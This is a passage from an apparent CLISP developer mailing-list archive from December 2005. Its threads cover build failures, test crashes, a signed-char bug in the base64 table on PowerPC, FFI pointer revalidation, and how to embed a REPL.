 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Signal 6 is SIGABRT on x86-64. The crash is always at the same
point regardless of the choosen optimization or SAFETY level.


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> * Marko Koci=C4=87 <znexb.xbpvp@tznvy.pbz> [2005-12-08 14:54:10 +0100]:
>
> After couple of build I found out that the this error first appeared
> when I changed gcc version from 4.0.1 to 4.0.2, and has nothing to do
> with cvs commits and dates.
>
> With debug build of CVS head in still crashes.
> I took original test case and played a little with it.
> (let* ((n (min lambda-parameters-limit 648)) (vars (loop repeat n
> collect (gensym))))
>         (eval `(=3D ,n (flet ((%f ,vars (+ ,@vars)))(%f ,@(loop for e in
> vars collect 1))))))
>
> It passes with 648 and crashes with 649. Seems the default stack size
> has been changed between different gcc versions (or it is something
> completely else).

it would be nice if you could pursue this further with the GCC people.

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> * Paulo Jabardo <cwnoneqb@lnubb.pbz.oe> [2005-12-08 09:00:19 -0300]:
>
> I'm having trouble compiling clisp 2.36 (and 2.35) on
> a SGI ia64 system. The first time the lisp.run
> program, I get an not enough memory error. I have also
> tried compiling using the flags
> -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLE_MAP
> -DNO_TRIVIAL_MAP
> But it didn't make any difference.

you need
-DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP

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On Thu, Dec 08, 2005 at 02:09:29PM +0100, Dr. Werner Fink wrote:
> Hi,
> 
> this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
> 
>  (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
>  Exiting on signal 6
>  g31:x86_64-suse-linux # ls -l tests/*erg
>  -rw-r--r-- 1 abuild abuild 0 Dec  8 13:00 tests/hashtable.erg
>  g31:x86_64-suse-linux # 
>  g31:x86_64-suse-linux # gcc --version
>  gcc (GCC) 4.1.0 20051129 (prerelease) (SUSE Linux)
>  Copyright (C) 2005 Free Software Foundation, Inc.
>  This is free software; see the source for copying conditions.  There is NO
>  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
> 
> Signal 6 is SIGABRT on x86-64. The crash is always at the same
> point regardless of the choosen optimization or SAFETY level.

Is there any solution known?  Clearly beside disabling
the new hashtable test in tests.lisp :)

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It worked, thanks. I must be going nuts, I somehow
misspelled the -D macros.

Thanks again,

Paulo

--- Sam Steingold <sds@gnu.org> escreveu:

> > * Paulo Jabardo <cwnoneqb@lnubb.pbz.oe>
> [2005-12-08 09:00:19 -0300]:
> >
> > I'm having trouble compiling clisp 2.36 (and 2.35)
> on
> > a SGI ia64 system. The first time the lisp.run
> > program, I get an not enough memory error. I have
> also
> > tried compiling using the flags
> > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE
> -DNO_SINGLE_MAP
> > -DNO_TRIVIAL_MAP
> > But it didn't make any difference.
> 
> you need
> -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP
> -DNO_TRIVIALMAP
> 
> -- 
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Building clisp from CVS HEAD on NetBSD/powerpc, the build stops with:

Test failed:
-rw-r--r--  1 magnus  users  406 Dec  9 13:18 encoding.erg
To see which tests failed, type
    cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg
gmake: *** [compare] Error 1
*** Error code 2

Stop.
make: stopped in /home/magnus/noarchive/src/clisp-cvs/build-zemdatav
magnus@zemdatav:~/noarchive/src/clisp-cvs$ cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg
Form: (LIST (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\+ 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\/ 10) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\A #\Z 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 (CODE-CHAR 0) (CODE-CHAR 10000) 1000))
CORRECT: ("++" "++//" "AZ" "++/9AZaz")
CLISP  : ("++" "+/" "AZ" "")
Differ at position 1: "++//" vs "+/"
CORRECT: ("++//" "AZ" "++/9AZaz")
CLISP  : ("+/" "AZ" "")


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Date: Fri Dec  9 07:06:01 2005
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Hello,

is this code snippet supposed to work in clisp?

(defun test-fn () "" "not optimalised")

(define-compiler-macro test-fn ()
  (system::declared-optimize 'speed
    (if (boundp '*denv*) system::*denv* system::*toplevel-denv*)))

(declaim (optimize (speed 0)))
(print (test-fn))
(declaim (optimize (speed 3)))
(print (test-fn))
(let ()
  (declare (optimize (speed 2)))
  (print (test-fn)))
(print (test-fn))

What I mean by work: print "not optimalised" three times when loaded,
print 0 3 2 when compiled and loaded.

I can check that it does "work" at the moment, however, it uses
private symbols of system and thus, as I understand, may stop working
without any notice. Is there any way to have this (or some other way
for macros to check their optimize settings)  exported and published
as interface?

As a side note, when I asked similar question on c.l.l., I was pointed
to CLTl2 as possible standard mechanism - it defines
(http://www.supelec.fr/docs/cltl/clm/node102.html)
declaration-information function. Apparently, there is nothing like
this at Common Lisp standard, so I am peeking into system package.

Regards,
Tomas


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Date: Fri Dec  9 07:47:07 2005
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> * Magnus Henoch <znatr@serrznvy.uh> [2005-12-09 14:33:07 +0100]:
>
> Building clisp from CVS HEAD on NetBSD/powerpc, the build stops with:
>
> Test failed:
> -rw-r--r--  1 magnus  users  406 Dec  9 13:18 encoding.erg
> To see which tests failed, type
>     cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg
> gmake: *** [compare] Error 1
> *** Error code 2
>
> Stop.
> make: stopped in /home/magnus/noarchive/src/clisp-cvs/build-zemdatav
> magnus@zemdatav:~/noarchive/src/clisp-cvs$ cat /home/magnus/noarchive/src/clisp-cvs/build-zemdatav/tests/*.erg
> Form: (LIST (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\+ 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\+ #\/ 10) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 #\A #\Z 2) (SYSTEM::CHARSET-RANGE CHARSET:BASE64 (CODE-CHAR 0) (CODE-CHAR 10000) 1000))
> CORRECT: ("++" "++//" "AZ" "++/9AZaz")
> CLISP  : ("++" "+/" "AZ" "")
> Differ at position 1: "++//" vs "+/"
> CORRECT: ("++//" "AZ" "++/9AZaz")
> CLISP  : ("+/" "AZ" "")

I do not observe this on any platform available to me (cygwin and SF
CF).
could you please try to debug this?
this is _very_ simple C code:

static const char table_base64[128] = {
  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,      /*  -1-  9 */
  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,      /*  10- 19 */
  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,      /*  20- 29 */
  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,      /*  30- 39 */
  -1,  -1,  -1,  62,  -1,  -1,  -1,  63,  52,  53,      /*  40- 49 */
  54,  55,  56,  57,  58,  59,  60,  61,  -1,  -1,      /*  50- 59 */
  -1,  -1,  -1,  -1,  -1,   0,   1,   2,   3,   4,      /*  60- 69 */
   5,   6,   7,   8,   9,  10,  11,  12,  13,  14,      /*  70- 79 */
  15,  16,  17,  18,  19,  20,  21,  22,  23,  24,      /*  80- 89 */
  25,  -1,  -1,  -1,  -1,  -1,  -1,  26,  27,  28,      /*  90- 99 */
  29,  30,  31,  32,  33,  34,  35,  36,  37,  38,      /* 100-109 */
  39,  40,  41,  42,  43,  44,  45,  46,  47,  48,      /* 110-119 */
  49,  50,  51,  -1,  -1,  -1,  -1,  -1                 /* 120-127 */
};

global object base64_range (object encoding, uintL start, uintL end,
                            uintL maxintervals) {
  var uintL count = 0; /* number of intervals already on the STACK */
  if (end >= sizeof(table_base64)) end = sizeof(table_base64) - 1;
  for (;start <= end && count < maxintervals; count++) {
    while ((start <= end) && (table_base64[start] == -1)) start++;
    if (start > end) break;
    pushSTACK(code_char(as_chart(start)));
    while ((start <= end) && (table_base64[start] != -1)) start++;
    pushSTACK(code_char(as_chart(start-1)));
  }
  return stringof(count << 1);
}

thanks!

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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-08 14:09:29 +0100]:
>
> Hi,
>
> this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
>
>  (LET ((HT (MAKE-HASH-TABLE :TEST 'FASTHASH-EQ))) (DEFSTRUCT HT-TEST-STRUCT A B C) (SETQ X (MAKE-HT-TEST-STRUCT :A 1 :B 2 :C HT)) (SETF (GETHASH HT HT) HT (GETHASH X HT) 12) (SETQ X (READ-FROM-STRING (WITH-STANDARD-IO-SYNTAX (WRITE-TO-STRING X))) HT (HT-TEST-STRUCT-C X)) (SETF (HT-TEST-STRUCT-A X) (! 123) (GETHASH (! 20) HT) (! 21) (GETHASH (! 21) HT) (! 22) (GETHASH (! 22) HT) (! 23)) (GC) (SETF (HT-TEST-STRUCT-B X) (! 124) (GETHASH (! 30) HT) (! 61) (GETHASH (! 41) HT) (! 72) (GETHASH (! 52) HT) (! 83)) (GC) (LIST (EQ (GETHASH HT HT) HT) (GETHASH X HT)))
>  Exiting on signal 6
>  g31:x86_64-suse-linux # ls -l tests/*erg
>  -rw-r--r-- 1 abuild abuild 0 Dec  8 13:00 tests/hashtable.erg
>  g31:x86_64-suse-linux # 
>  g31:x86_64-suse-linux # gcc --version
>  gcc (GCC) 4.1.0 20051129 (prerelease) (SUSE Linux)
>  Copyright (C) 2005 Free Software Foundation, Inc.
>  This is free software; see the source for copying conditions.  There is NO
>  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
>
> Signal 6 is SIGABRT on x86-64. The crash is always at the same
> point regardless of the choosen optimization or SAFETY level.

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Hi Tomas,

> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-12-09 16:05:13 +0100]:
>
> is this code snippet supposed to work in clisp?
>
> (defun test-fn () "" "not optimalised")
>
> (define-compiler-macro test-fn ()
>   (system::declared-optimize 'speed
>     (if (boundp '*denv*) system::*denv* system::*toplevel-denv*)))
>
> (declaim (optimize (speed 0)))
> (print (test-fn))
> (declaim (optimize (speed 3)))
> (print (test-fn))
> (let ()
>   (declare (optimize (speed 2)))
>   (print (test-fn)))
> (print (test-fn))
>
> What I mean by work: print "not optimalised" three times when loaded,
> print 0 3 2 when compiled and loaded.
>
> I can check that it does "work" at the moment, however, it uses
> private symbols of system and thus, as I understand, may stop working
> without any notice. Is there any way to have this (or some other way
> for macros to check their optimize settings)  exported and published
> as interface?

I don't think so.

> As a side note, when I asked similar question on c.l.l., I was pointed
> to CLTl2 as possible standard mechanism - it defines
> (http://www.supelec.fr/docs/cltl/clm/node102.html)
> declaration-information function. Apparently, there is nothing like
> this at Common Lisp standard, so I am peeking into system package.

do other implementation export anything like this?

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>
> do other implementation export anything like this?
>
This is all I know (no first-hand experience):
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Date: Fri Dec  9 08:11:00 2005
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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-12-09 17:03:13 +0100]:
>
>>
>> do other implementation export anything like this?
>>
> This is all I know (no first-hand experience):
> http://groups.google.com/group/comp.lang.lisp/msg/a89e1a8b651a570d

What does Allegro export?
Do any implementations have the CLtL2 functions?

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Sam Steingold <sds@gnu.org> writes:

> I do not observe this on any platform available to me (cygwin and SF
> CF).
> could you please try to debug this?
> this is _very_ simple C code:
>
> static const char table_base64[128] = {

[...]

>     while ((start <= end) && (table_base64[start] != -1)) start++;

[...]

The comparison to -1 assumes that "char" is "signed char", which is
not the case on NetBSD/powerpc.[1] Changing the table to "signed char"
fixes the problem; another possible solution is to compile with
-fsigned-char.

Magnus

[1]  According to <URL:http://www.network-theory.co.uk/docs/gccintro/
gccintro_71.html>, "char" is unsigned on all PowerPC systems except
Darwin (Mac OS X).




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> * Magnus Henoch <znatr@serrznvy.uh> [2005-12-09 18:24:18 +0100]:
>
> Sam Steingold <sds@gnu.org> writes:
>
>> I do not observe this on any platform available to me (cygwin and SF
>> CF).
>> could you please try to debug this?
>> this is _very_ simple C code:
>>
>> static const char table_base64[128] = {
>
> [...]
>
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>
> [...]
>
> The comparison to -1 assumes that "char" is "signed char", which is
> not the case on NetBSD/powerpc.[1] Changing the table to "signed char"

done, thanks!

> fixes the problem; another possible solution is to compile with
> -fsigned-char.

what does -fsigned-char do?
google turns out nothing.

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Hi,

I just noticed that in October 2005, the CLISP FFI underwent changes which may affect what people know about behaviour of shared libraries with the FFI.

CLISP will attempt to resurrect invalid pointers from shared libraries on a "by need" basis. I.e., an attempt to invoke a function from a shared library will try and open it upon encountering an invalid library base pointer.

Such pointers, e.g. #<INVALID FOREIGN-FUNCTION "compressBound" #xB78FAC1D> may result from
 - explicitly invalidating a pointer, (e.g. a useful additional step when explicitly closing a library), or
 - when starting from a .mem image which had shared libraries open.

Although useful, this can also be quite dangerous!

If you closed a library explicitly, it may be reopened without you noticing it, in case one of its functions gets called.
This is quite distinct from the behaviour which I advertised previously: you could close a library explicitly to prevent it from being used inadvertantly, and you'd get an error when trying.

The new behaviour (which is not yet documented in impnotes) is a consequence of a move toward later binding of foreign functions: now it can happen such late as when a first function call is made.

Also, if you happened to couple the lifetime of some FFI object to the library (via the documented SET-FOREIGN-POINTER function), then suddenly, these objects would become alive again as well. However they are very likely to point to broken storage. This is somewhat scary.

The following scenario shows what this looks like, and how the revalidated adresses can be different from the previous ones:

> (use-package"FFI")
T
> (def-call-out compress-bound (:name "compressBound") (:library "libz.so")
  (:arguments (sourceLen ulong)) (:return-type ulong))
> (setf foo #'compress-bound)
#<FOREIGN-FUNCTION "compressBound" #xB78FAC1D>
[23]> (setq bar (foreign-address *))
#<FOREIGN-ADDRESS #xB78FAC1D>
[24]> (setq barp (foreign-pointer *))
#<FOREIGN-POINTER #x08237040>
[25]> (saveinitmem "bar.mem" :verbose t)
Speicherabbild als bar.mem abgespeichert.
2587176 ;
645914
> 

$ clisp -M bar.mem
[1]> foo
#<INVALID FOREIGN-FUNCTION "compressBound" #xB78FAC1D>
[2]> bar
#<INVALID FOREIGN-ADDRESS #xB78FAC1D>
[3]> barp
#<INVALID FOREIGN-POINTER #x08237040>
; obviously the original pointer got fixed in place, instead of creating a new one...
; ... like the Amiga-CLISP FFI once did upon startup.
[4]> (funcall foo 0)
; foo can be called despite being invalid!
; the library got reopened.
11
[5]> foo
; note how the address is now different
#<FOREIGN-FUNCTION "compressBound" #xB790EC1D>
[6]> bar
#<FOREIGN-ADDRESS #xB790EC1D>
[7]> barp
#<FOREIGN-POINTER #x082422D8>
[8]>

I believe CLISP could be modified so that revalidation upon funcall still works, yet the old pointer remains dead, but I haven't looked at the code recently.

Implementation note: reopening a library may take a little time, as CLISP will try to obtain all addresses from all functions that once were used, instead of just the one being called.

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2005-12-09 19:27:39 +0100]:
>
> I just noticed that in October 2005, the CLISP FFI underwent changes
> which may affect what people know about behaviour of shared libraries
> with the FFI.

I am not sure what patch you are talking about.
I think the behavior you described has been there all along.

> Also, if you happened to couple the lifetime of some FFI object to the

lifetime of a Lisp object, including FFI objects (as opposed to foreign
objects) is determined by GC.
"validation" (validp/(setf validp)) is only a user-level tool.

> library (via the documented SET-FOREIGN-POINTER function), then
> suddenly, these objects would become alive again as well. However they
> are very likely to point to broken storage. This is somewhat scary.

they become live only when they are updated to point to something useful.

> The following scenario shows what this looks like, and how the
> revalidated adresses can be different from the previous ones:

so?

> I believe CLISP could be modified so that revalidation upon funcall
> still works, yet the old pointer remains dead, but I haven't looked at
> the code recently.

OK, if you think this is TRT, just do it.


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Sam Steingold <sds@gnu.org> writes:

> what does -fsigned-char do?
> google turns out nothing.

It makes "char" mean "signed char", regardless of the default on the
current platform.  This might be useful if there is much code that
assumes that char is always signed.  On the other hand, it seems there
isn't (the test suite now completes), and it's probably cleaner to fix
the code instead of hiding the symptoms.

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Could one prevent implicit open of a specified library
or trap references to a specified foreign pointer,
e.g., some sort of file system access hook?
Perhaps better done at the OS level.

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From: "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com>
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Subject: [clisp-list] the handling of invalid pointers in the FFI changed in October 20
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Date: Fri, 9 Dec 2005 19:27:39 +0100

Hi,

I just noticed that in October 2005, the CLISP FFI underwent changes which may affect what people know about behaviour of shared libraries with the FFI.

CLISP will attempt to resurrect invalid pointers from shared libraries on a "by need" basis. I.e., an attempt to invoke a function from a shared library will try and open it upon encountering an invalid library base pointer.

Such pointers, e.g. #<INVALID FOREIGN-FUNCTION "compressBound" #xB78FAC1D> may result from
 - explicitly invalidating a pointer, (e.g. a useful additional step when explicitly closing a library), or
 - when starting from a .mem image which had shared libraries open.

Although useful, this can also be quite dangerous!

If you closed a library explicitly, it may be reopened without you noticing it, in case one of its functions gets called.
This is quite distinct from the behaviour which I advertised previously: you could close a library explicitly to prevent it from being used inadvertantly, and you'd get an error when trying.

The new behaviour (which is not yet documented in impnotes) is a consequence of a move toward later binding of foreign functions: now it can happen such late as when a first function call is made.

Also, if you happened to couple the lifetime of some FFI object to the library (via the documented SET-FOREIGN-POINTER function), then suddenly, these objects would become alive again as well. However they are very likely to point to broken storage. This is somewhat scary.

The following scenario shows what this looks like, and how the revalidated adresses can be different from the previous ones:

> (use-package"FFI")
T
> (def-call-out compress-bound (:name "compressBound") (:library "libz.so")
  (:arguments (sourceLen ulong)) (:return-type ulong))
> (setf foo #'compress-bound)
#<FOREIGN-FUNCTION "compressBound" #xB78FAC1D>
[23]> (setq bar (foreign-address *))
#<FOREIGN-ADDRESS #xB78FAC1D>
[24]> (setq barp (foreign-pointer *))
#<FOREIGN-POINTER #x08237040>
[25]> (saveinitmem "bar.mem" :verbose t)
Speicherabbild als bar.mem abgespeichert.
2587176 ;
645914
> 

$ clisp -M bar.mem
[1]> foo
#<INVALID FOREIGN-FUNCTION "compressBound" #xB78FAC1D>
[2]> bar
#<INVALID FOREIGN-ADDRESS #xB78FAC1D>
[3]> barp
#<INVALID FOREIGN-POINTER #x08237040>
; obviously the original pointer got fixed in place, instead of creating a new one...
; ... like the Amiga-CLISP FFI once did upon startup.
[4]> (funcall foo 0)
; foo can be called despite being invalid!
; the library got reopened.
11
[5]> foo
; note how the address is now different
#<FOREIGN-FUNCTION "compressBound" #xB790EC1D>
[6]> bar
#<FOREIGN-ADDRESS #xB790EC1D>
[7]> barp
#<FOREIGN-POINTER #x082422D8>
[8]>

I believe CLISP could be modified so that revalidation upon funcall still works, yet the old pointer remains dead, but I haven't looked at the code recently.

Implementation note: reopening a library may take a little time, as CLISP will try to obtain all addresses from all functions that once were used, instead of just the one being called.

Regards,
	Jorg Hohle.


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Hello,
  How can I embed `clisp' repl into my program, such that when the user does
(exit), only the repl is exited, and control transfers back to my program? 

I don't want to write my own repl, I just want to use the repl provided by the
implementation. 

Is there any way of doing this? 

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clisp from CVS head, mingw

[1]> (defclass constructor ()
  ((name :initarg :name :accessor constructor-name)
   (fields :initarg :fields :accessor constructor-fields))
  (:metaclass funcallable-standard-class))
#<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>
[2]> (defmethod initialize-instance :after ((c constructor) &KEY)
  (with-slots (name fields) c
    (set-funcallable-instance-function
      c
      #'(lambda ()
          (let ((new (make-array (1+ (length fields)))))
            (setf (aref new 0) name)
            new)))))
#<STANDARD-METHOD :AFTER (#<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>)>
[3]> (setq c1 (make-instance 'constructor
                        :name 'position :fields '(x y)))
#<CONSTRUCTOR #<UNBOUND>>
[4]> (setq p1 (funcall c1))
#(POSITION NIL NIL)
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Oops?

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Hi,
I have problem building CLISP 2.36 on MacOS X 10.3.9 (Darwin 7.9.0) and
  gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1671)

./configure --with-libreadline-prefix=/opt/local        \
             --with-libsigsegv-prefix=/usr/local         \
             --build /tmp/clisp-build

The build fails with:

ld: Undefined symbols:
_I_to_uint64
./clisp-link: failed in /private/tmp/clisp-build/base

Earlier in the build:
Configure findings:
   FFI:        no (user requested: default)
   readline:   no (user requested: default)
   libsigsegv: yes

It is not configuring FFI. I don't think I have ever gotten FFI to 
build on OS X. But I think I remember installing a binary distribution 
of CLISP with FFI. Am I missing something in my setup for FFI to work?

Back to the build failure that might be related to FFI:
[lispbibl.d]
#if defined(HAVE_FFI) || defined(HAVE_AFFI)
   #ifdef HAVE_LONGLONG
     #define I_to_uint64(obj)  I_to_UQ(obj)
     #define I_to_sint64(obj)  I_to_Q(obj)
   #endif
#endif

The Undefined symbol (I_to_uint64) is defined as a macro, but only when 
we have FFI. But it is still used independent of FFI (in stream.d I 
think).

Removing the "#if defined(HAVE_FFI) ..." allowed the build to finish.

//Lennart Staflin



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> * Lennart Staflin <yrafg@ylfngbe.yvh.fr> [2005-12-11 13:04:22 +0100]:
>
> [lispbibl.d]
> #if defined(HAVE_FFI) || defined(HAVE_AFFI)
>    #ifdef HAVE_LONGLONG
>      #define I_to_uint64(obj)  I_to_UQ(obj)
>      #define I_to_sint64(obj)  I_to_Q(obj)
>    #endif
> #endif
fixed, thanks
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> * Surendra Singhi <rshmmlbar@argfpncr.arg> [2005-12-10 19:47:52 -0700]:
>
> How can I embed `clisp' repl into my program, such that when the user does
> (exit), only the repl is exited, and control transfers back to my program? 

http://sourceforge.net/tracker/index.php?func=detail&aid=423264&group_id=1355&atid=351355

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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2005-12-11 12:46:27 +0200]:
>
> clisp from CVS head, mingw
>
> [1]> (defclass constructor ()
>   ((name :initarg :name :accessor constructor-name)
>    (fields :initarg :fields :accessor constructor-fields))
>   (:metaclass funcallable-standard-class))
> #<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>
> [2]> (defmethod initialize-instance :after ((c constructor) &KEY)
>   (with-slots (name fields) c
>     (set-funcallable-instance-function
>       c
>       #'(lambda ()
>           (let ((new (make-array (1+ (length fields)))))
>             (setf (aref new 0) name)
>             new)))))
> #<STANDARD-METHOD :AFTER (#<FUNCALLABLE-STANDARD-CLASS CONSTRUCTOR>)>
> [3]> (setq c1 (make-instance 'constructor
>                         :name 'position :fields '(x y)))
> #<CONSTRUCTOR #<UNBOUND>>
> [4]> (setq p1 (funcall c1))
> #(POSITION NIL NIL)
> [5]>

I fixed the manual, thanks.

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Surendra Singhi writes:
> Hello,
>   How can I embed `clisp' repl into my program, such that when the user does
> (exit), only the repl is exited, and control transfers back to my program? 
> 
> I don't want to write my own repl, I just want to use the repl provided by the
> implementation. 
> 
> Is there any way of doing this? 


I think not.

But writting one's own REPL is so simple, I don't understand why you
wouldn't want to write your own, or use mine:



(defmacro handling-errors (&body body)
  `(HANDLER-CASE (progn ,@body)
     (simple-condition 
      (ERR) 
      (format *error-output* "~&~A: ~%" (class-name (class-of err)))
      (apply (function format) *error-output*
             (simple-condition-format-control   err)
             (simple-condition-format-arguments err))
      (format *error-output* "~&"))
     (condition 
      (ERR) 
      (format *error-output* "~&~A: ~%  ~S~%" (class-name (class-of err)) err))))


(defun repl ()
  (do ((hist 1 (1+ hist))
       (+eof+ (gensym)))
      (nil)
    (format t "~%~A[~D]> " (package-name *package*) hist)
    (handling-errors
     (setf +++ ++   ++ +   + -   - (read *standard-input* nil +eof+))
     (when (or (eq - +eof+)
               (member - '((quit)(exit)(continue)) :test (function equal)))
       (return-from repl))
     (setf /// //   // /   / (multiple-value-list (eval -)))
     (setf *** **   ** *   * (first /))
     (format t "~& --> ~{~S~^ ;~%     ~}~%" /))))




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How funcallable-instance-function can get slot values from own 
funcallable-instance?

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Pascal Bourguignon <pjb@informatimago.com> writes:

> Surendra Singhi writes:
>> Hello,
>>   How can I embed `clisp' repl into my program, such that when the user does
>> (exit), only the repl is exited, and control transfers back to my program? 
>> 
>> I don't want to write my own repl, I just want to use the repl provided by the
>> implementation. 
>> 
>> Is there any way of doing this? 
>
Thanks for the code. 

> I think not.
>
> But writting one's own REPL is so simple, I don't understand why you
> wouldn't want to write your own, or use mine:
>

I have been using your REPL, but the problem is that this repl does not has
the full power of clisp debugger. The repl does not shows stack backtrace,
restarts, etc. 

Regards.

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Surendra Singhi writes:
> Pascal Bourguignon <pjb@informatimago.com> writes:
> 
> > Surendra Singhi writes:
> >> Hello,
> >>   How can I embed `clisp' repl into my program, such that when the user does
> >> (exit), only the repl is exited, and control transfers back to my program? 
> >> 
> >> I don't want to write my own repl, I just want to use the repl
> >> provided by the implementation. 
> >> 
> >> Is there any way of doing this? 
> >
> Thanks for the code. 
> 
> > I think not.
> >
> > But writting one's own REPL is so simple, I don't understand why you
> > wouldn't want to write your own, or use mine:
> 
> I have been using your REPL, but the problem is that this repl does not has
> the full power of clisp debugger. The repl does not shows stack backtrace,
> restarts, etc. 

The why don't you tell it to do it?


(defmacro debugging-errors (&body body)
  `(restart-CASE (progn ,@body)
     (abort-eval ()
       :report "Back to my REPL"
       nil)))


(defun repl ()
  (do ((hist 1 (1+ hist))
       (+eof+ (gensym)))
      (nil)
    (format t "~%~A[~D]> " (package-name *package*) hist)
    (debugging-errors
     (setf +++ ++   ++ +   + -   - (read *standard-input* nil +eof+))
     (when (or (eq - +eof+)
               (member - '((quit)(exit)(continue)) :test (function equal)))
       (return-from repl))
     (setf /// //   // /   / (multiple-value-list (eval -)))
     (setf *** **   ** *   * (first /))
     (format t "~& --> ~{~S~^ ;~%     ~}~%" /))))


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On 09/12/05, Sam Steingold <sds@gnu.org> wrote:
> > * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-12-09 17:03:13 +0100]:
> >
> >>
> >> do other implementation export anything like this?
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> > This is all I know (no first-hand experience):
> > http://groups.google.com/group/comp.lang.lisp/msg/a89e1a8b651a570d
>
> What does Allegro export?
> Do any implementations have the CLtL2 functions?
As I said, no first-hand experience.
Probably for my present purposes I shall use what is available now,
knowing that the situation is as is.

Thanks for discussion,
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> How funcallable-instance-function can get slot values from own 
> funcallable-instance?

Oops, excuse me. Question is closed.

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On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote:
> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-08 14:09:29 +0100]:
> >
> > Hi,
> >
> > this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
> >
> > Signal 6 is SIGABRT on x86-64. The crash is always at the same
> > point regardless of the choosen optimization or SAFETY level.
> 
> http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355

Does this mean that 2.35 also chrash on AMG64?
Btw: A few printf's for debugging and the addresses
and the file location found by gdb change a lot.
In other words: the addresse space is fully broken.

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> * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-12 19:33:58 +0100]:
>
> On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote:
>> > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-08 14:09:29 +0100]:
>> >
>> > this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
>> >
>> > Signal 6 is SIGABRT on x86-64. The crash is always at the same
>> > point regardless of the choosen optimization or SAFETY level.
>> 
>> http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355
>
> Does this mean that 2.35 also chrash on AMG64?

probably.

> Btw: A few printf's for debugging and the addresses
> and the file location found by gdb change a lot.
> In other words: the addresse space is fully broken.

it just means that you reach the printf's _after_ memory corruption
already occurs.

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Date: Mon Dec 12 13:33:04 2005
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Pascal Bourguignon <pjb@informatimago.com> writes:

> Surendra Singhi writes:
>> Pascal Bourguignon <pjb@informatimago.com> writes:
>> 
>> > But writting one's own REPL is so simple, I don't understand why you
>> > wouldn't want to write your own, or use mine:
>> 
>> I have been using your REPL, but the problem is that this repl does not has
>> the full power of clisp debugger. The repl does not shows stack backtrace,
>> restarts, etc. 
>
> The why don't you tell it to do it?
>
> (defmacro debugging-errors (&body body)
>   `(restart-CASE (progn ,@body)
>      (abort-eval ()
>        :report "Back to my REPL"
>        nil)))
>

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On Mon, Dec 12, 2005 at 07:33:58PM +0100, Dr. Werner Fink wrote:
> On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote:
> > > * Dr. Werner Fink <jreare@fhfr.qr> [2005-12-08 14:09:29 +0100]:
> > >
> > > Hi,
> > >
> > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0:
> > >
> > > Signal 6 is SIGABRT on x86-64. The crash is always at the same
> > > point regardless of the choosen optimization or SAFETY level.
> > 
> > http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355
> 
> Does this mean that 2.35 also chrash on AMG64?
> Btw: A few printf's for debugging and the addresses
> and the file location found by gdb change a lot.
> In other words: the addresse space is fully broken.

Q: Does the limit of 36 bits for mmap() ind spvw.d makes sense 
in combination of 48 bits choosen for the address handling?
Q: Is it known that --with-debug leads to an error within the
